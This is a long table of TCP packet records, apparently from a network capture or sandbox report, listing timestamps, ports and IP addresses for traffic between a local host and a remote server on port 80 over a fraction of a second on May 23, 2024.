May 23, 2024 23:33:07.240726948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.241687059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.241719961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.241745949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.241770029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.242822886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.242855072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.242881060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.242913008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.243875027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.243906975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.243933916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.243963003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.244968891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.245001078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.245026112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.245033979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.245048046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.245083094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.246052027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.246084929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.246123075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.246124029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.247119904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.247153044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.247179031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.247204065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.248388052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.248420954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.248472929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.248507023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.248970985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.249027014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.249684095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.249727964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.249804974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.249804974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.251275063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.251307011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.251332998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.251367092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.254827023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.254862070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.254899979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.254899979 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.300014973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.300154924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.304778099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.304852962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.305118084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.305277109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.305629015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.305689096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.306246996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.306305885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.306632996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.306664944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.306690931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.306729078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.307759047 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.307817936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.308358908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.308392048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.308414936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.308444977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.309494019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.309526920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.309549093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.309578896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.312024117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.312083006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.312473059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.312638044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.313291073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.313348055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.313467979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.313522100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.313946962 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.313980103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.314006090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.314038992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.315057993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.315089941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.315118074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.315121889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.315141916 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.315165043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.316236019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.316267967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.316293001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.316324949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.317372084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.317404985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.317429066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.317454100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.318514109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.318547010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.318583965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.318615913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.319674015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.319715023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.319736004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.319746971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.319753885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.319808960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.320844889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.320878029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.320904970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.320930958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.321996927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.322029114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.322056055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.322088957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.323162079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.323194027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.323219061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.323244095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.324311018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.324342966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.324368954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.324400902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.325449944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.325485945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.325511932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.325517893 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.325531960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.325633049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.326349974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.326381922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.326405048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.326435089 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.327311039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.327342987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.327368975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.327400923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.328121901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.328155041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.328176975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.328201056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.332415104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.332447052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.332472086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.332480907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.332495928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.332515001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.332545042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.332546949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.332572937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.332593918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.334691048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.334726095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.334754944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.334788084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.335297108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.335330009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.335383892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.335963964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.335995913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.336028099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.336061001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.336848021 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.336880922 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.336905003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.336914062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.336927891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.336966991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.338134050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.338166952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.338193893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.338233948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340181112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340214014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340234041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340245008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340256929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340279102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340295076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340312004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340334892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340344906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340375900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340394974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340394974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340459108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340899944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340933084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.340956926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.340990067 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.341701031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.341733932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.341754913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.341785908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.342582941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.342614889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.342643023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.342674971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.343384027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.343415976 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.343441010 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.343468904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.344208002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.344240904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.344263077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.344273090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.344285965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.344316006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.345019102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.345052004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.345077038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.345108986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.345854998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.345886946 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.345913887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.345946074 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.346657038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.346689939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.346716881 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.346750021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.347340107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.347373009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.347402096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.347404003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.347434998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.347455978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.348048925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.348082066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.348107100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.348114967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.348129988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.348160028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.349025965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.349059105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.349091053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.349106073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.349106073 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.349199057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.350033998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.350066900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.350097895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.350107908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.350107908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.350135088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.350138903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.350183964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.351026058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.351058960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.351088047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.351092100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.351110935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.351144075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.352058887 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.352094889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.352125883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.352127075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.352145910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.352183104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.353015900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.353049040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.353075981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.353080988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.353096962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.353113890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.353127003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.353163958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.354017973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.354048967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.354068041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.354084969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.354090929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.354127884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.394635916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.394726038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.394730091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.394834042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.395014048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.395077944 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.395415068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.395450115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.395482063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.395500898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.395518064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.395535946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.395566940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.396320105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.396380901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.396724939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.396800995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.397058010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.397093058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.397125006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.397157907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.397173882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.397173882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.397209883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.397999048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.398065090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.399570942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.400062084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.402312994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.402370930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.402436018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.402508020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.402734995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.402791977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.403043985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403078079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403100014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.403110027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403121948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.403168917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.403810024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403842926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403867006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.403876066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403887033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.403908968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.403924942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.404032946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.404643059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.404676914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.404706001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.404710054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.404728889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.404752016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.405384064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.405417919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.405446053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.405448914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.405467987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.405493975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.406162024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.406371117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.406431913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.406466007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.406521082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.406524897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.406524897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.406557083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.406613111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.407243013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.407275915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.407309055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.407326937 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.407361031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.408006907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.408041000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.408068895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.408072948 CEST	80	49733	185.172.128.82	192.168.2.4
